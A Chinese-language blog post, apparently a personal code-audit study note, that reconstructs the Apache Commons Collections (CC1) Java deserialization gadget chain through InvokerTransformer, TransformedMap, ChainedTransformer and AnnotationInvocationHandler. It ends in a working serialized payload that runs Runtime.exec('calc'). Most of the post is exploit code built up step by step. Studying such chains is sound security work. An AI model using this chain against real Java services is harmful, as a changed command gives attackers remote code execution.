cc链调用

UWI Lv3

cc链调用

首先我们看一下InvokerTransformer这个类的内部的一些方法

构造函数:

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

transform函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

可以看到在transform 函数通过反射的方式尝试调用input 的一些方法

那么我们由此就可以调用系统命令 这里我们就实现了一个transformer弹计算器的恶意对象

1
2
3
4
public void hack1() {
Transformer eviltransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
eviltransformer.transform(Runtime.getRuntime());
}

image-20250812094523975

那么既然找到了能够调用系统命令的方法我们就要继续深入,寻找究竟在哪里会调用到transformer.transform构建成一个利用链条

我们发现在TransformedMap类里面的checkSetValue函数里面就有用到transform 方法

image-20250812094851870

那么现在只需要相仿设法把valueTransformer 这个对象设置成eviltransformer 对象这样我们调用checkSetValue(Runtime.getRuntime())就相当于调用eviltransformer.transform(Runtime.getRuntime()) 弹计算器了

那么哪里能够给valueTransformer 赋值呢? 好巧不巧 我们网上翻就发现还真的有个函数是给valueTransformer 赋值的

可以看到这个decorate静态方法会构造一个TransformedMap对象然后传入valueTransformer

image-20250812095252090

而TransformedMap的构造方法就会把valueTransformer 设置为我们传入的对象

image-20250812095412650

这就很有意思了

我们现在可以进一步构造我们的调用链了

由于checkSetValue是个protected的方法所以我采用了反射的方法构造调用链

1
2
3
4
5
6
7
8
9
@Test
public void hack2() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Transformer eviltransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
TransformedMap evilTransformedMap = (TransformedMap) TransformedMap.decorate(new HashMap(), null, eviltransformer);
Method method = TransformedMap.class.getDeclaredMethod("checkSetValue", Object.class);
method.setAccessible(true);
method.invoke(evilTransformedMap,Runtime.getRuntime());

}

image-20250812101357911

那么接下来我们就要寻找哪里调用了checkSetValue这个函数来进一步构造我们的调用链

发现在AbstractInputCheckedMapDecorator 里面的MapEntry里面的setValue调用了checkSetValue

image-20250812101854322

由于这个方法是在静态内部类MapEntry 里面 所以我们需要找到MapEntry在哪里被实例化

网上翻就可以看到MapEntry 在静态内部类EntrySetIterator的next 方法中被调用

image-20250812132836864

然后我们查找EntrySetIterator类在哪里被实例化 发现在EntrySet静态内部类中的iterator方法中被实例化

image-20250812134521123

然后我们继续查找EntrySet 在哪里被实例化 发现 在entrySet方法中被实例化

image-20250812134658058

那么我们就可以进一步构造出一个新的链子

1
2
3
4
5
6
7
8
9
10
@Test
public void hack3() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Transformer eviltransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap hashMap = new HashMap();
hashMap.put("a", "b");
Map<Object, Object> evilTransformedMap = TransformedMap.decorate(hashMap, null, eviltransformer);
evilTransformedMap.entrySet().iterator().next().setValue(Runtime.getRuntime());


}

image-20250812135738540

或者我们可以使用迭代器的方法

1
2
3
4
5
6
7
8
9
10
11
12
@Test
public void hack3() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Transformer eviltransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap hashMap = new HashMap();
hashMap.put("a", "b");
Map<Object, Object> evilTransformedMap = TransformedMap.decorate(hashMap, null, eviltransformer);
for (Map.Entry<Object, Object> entry : evilTransformedMap.entrySet()){
entry.setValue(Runtime.getRuntime());

}


image-20250812140206100

那么接下来我们要进一步延长调用链 看看哪里调用了setvalue方法

刚好在AnnotationInvocationHandler下找到了setvalue同时还是在迭代器中这是在AnnotationInvocationHandler的readobject方法中 也就是说反序列化的时候进行调用的 非常符合我们反序列化调用链的条件

image-20250812141045818

而且观察构造方法发现memberValues是传入的也就是可控的

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

但是由于这个构造函数不是public的所以我们需要用反射的方式进行调用从而触发我们的反序列化链

但是我们又遇到了一个问题那就是memberValue.setValue(xxxxx)传入的参数我们似乎无法控制

没关系还有一些神奇的类具有神奇的特性

来看看ConstantTransformer 类

他的transform不论传参是什么都会返回iConstant 而iConstant是构造方法传入的参数我们是可控的

也就是说transform的传参是什么都不影响他的返回结果因为在实例化这个类的时候iConstant就已经确定了

image-20250812145720373

我们来看看ChainedTransformer类

image-20250812145402602

transform方法 将数组中前一个object作为参数传入后一个object的transform中

image-20250812145413738

那么我们可以利用这两个类构造出 恶意命令

1
2
3
4
5
6
7
8
9
10
@Test
public void hack6() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class,}, new Object[]{"calc"});
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
constantTransformer,
invokerTransformer,
});
chainedTransformer.transform("hacker");

chainedTransformer.transform的参数不论输入什么都不影响他调用系统命令

那么现在我们应该可以构造出一个完整的反序列化链条了 下面这段代码将对象先序列化

当对象反序列化的时候就会被调用而已命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@Test
public void hack7() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class,}, new Object[]{"calc"});
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
constantTransformer,
invokerTransformer,
});
// chainedTransformer.transform("hacker");
HashMap<Object,Object>map=new HashMap();
map.put("value", null);
Map<Object,Object> decorated = TransformedMap.decorate(map,null, chainedTransformer);

Class<?> clazz = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?>constructor= clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,decorated);


SerializationUtils.serializeToFile(o);
SerializationUtils.deserializeFromFile( "ser.bin");


}

但是我们运行的时候发现了一些问题Runtime类没有继承反序列化接口是不可被反序列化的

image-20250813084947141

我们可以用Class 来调用

1
2
3
4
5
6
7
8
9
10
@Test
public void hack8() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {

Class clazz = Runtime.class;
Method method1 = clazz.getDeclaredMethod("getRuntime");
Runtime runtime = (Runtime) method1.invoke(null);
Method method = clazz.getDeclaredMethod("exec", String.class);
method.invoke(runtime,"calc");

}

image-20250813085955785

那么结合一下

我们就构造出了最终的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@Test
public void hack9() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
InvokerTransformer invokerTransformer1 = new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null});
InvokerTransformer invokerTransformer3 = new InvokerTransformer("exec", new Class[]{String.class,}, new Object[]{"calc"});




ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
constantTransformer,
invokerTransformer1,
invokerTransformer2,
invokerTransformer3,
});

HashMap<Object,Object>map=new HashMap();
map.put("value", "value");
Map<Object,Object> decorated = TransformedMap.decorate(map,null, chainedTransformer);

Class<?> clazz = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?>constructor= clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,decorated);


SerializationUtils.serializeToFile(o);
SerializationUtils.deserializeFromFile( "ser.bin");

}

image-20250813092611324

复现这个链子要了半条命…….

  • Title: cc链调用
  • Author: UWI
  • Created at : 2025-08-12 09:21:54
  • Updated at : 2025-08-13 14:42:30
  • Link: https://nbwsws.github.io/2025/08/12/代码审计/cc链/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
cc链调用